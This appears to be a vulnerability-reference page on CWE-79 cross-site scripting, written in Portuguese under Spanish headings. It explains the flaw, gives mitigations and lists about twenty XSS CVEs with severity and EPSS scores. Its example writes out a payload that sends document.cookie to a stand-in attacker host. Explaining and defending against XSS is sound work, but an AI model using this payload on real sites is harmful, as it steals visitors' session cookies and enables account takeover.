Fallos del tipo CWE-79

30.670 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-2101MEDIUMDownload Manager <= 3.2.46 - Contributor+ Cross-Site ScriptingEPSS 1.1%CVE-2021-32696LOWPassing in a non-string 'html' argument can lead to unsanitized outputEPSS 1.1%CVE-2021-39344MEDIUMKJM Admin Notices <= 2.0.1 Authenticated Stored Cross-Site ScriptingEPSS 1.1%CVE-2018-15455MEDIUMCisco Identity Services Engine Logging Cross-Site Scripting VulnerabilityEPSS 1.1%CVE-2022-0929MEDIUMXSS on dynamic_text module in microweber/microweberEPSS 1.1%CVE-2023-4203CRITICALStored Cross-Site ScriptingEPSS 1.1%CVE-2024-21419HIGHMicrosoft Dynamics 365 (on-premises) Cross-site Scripting VulnerabilityEPSS 1.1%CVE-2021-25065—Smash Balloon Social Post Feed < 4.1.1 - Authenticated Reflected Cross-Site Scripting (XSS)EPSS 1.1%CVE-2018-10937MEDIUMA cross site scripting flaw exists in the tetonic-console component of Openshift Container Platform 3.11. An attacker with the ability to crEPSS 1.1%CVE-2022-35651—A stored XSS and blind SSRF vulnerability was found in Moodle, occurs due to insufficient sanitization of user-supplied data in the SCORM trEPSS 1.1%CVE-2024-6516CRITICALCross Site Scripting XSSEPSS 1.1%CVE-2022-2826LOWAn issue has been discovered in GitLab affecting all versions starting from 10.0 before 12.9.8, all versions starting from 12.10 before 12.1EPSS 1.1%CVE-2023-50891MEDIUMWordPress Zoho Forms Plugin <= 3.0.1 is vulnerable to Cross Site Scripting (XSS)EPSS 1.1%CVE-2021-39199CRITICALCross site scripting via unsafe defaults in remark-htmlEPSS 1.1%CVE-2019-7000MEDIUMAvaya Aura Conferencing XSSEPSS 1.1%CVE-2021-35240MEDIUMStored XSS via Help Server settingsEPSS 1.1%CVE-2018-14664MEDIUMA flaw was found in foreman from versions 1.18. A stored cross-site scripting vulnerability exists due to an improperly escaped HTML code inEPSS 1.1%CVE-2024-23349MEDIUMApache Answer: XSS vulnerability when submitting summaryEPSS 1.1%CVE-2020-3583MEDIUMCisco Adaptive Security Appliance Software and Firepower Threat Defense Software Web Services Interface Cross-Site Scripting VulnerabilitiesEPSS 1.1%CVE-2024-28715HIGHCross Site Scripting vulnerability in DOraCMS v.2.18 and before allows a remote attacker to execute arbitrary code via the markdown0 functioEPSS 1.1%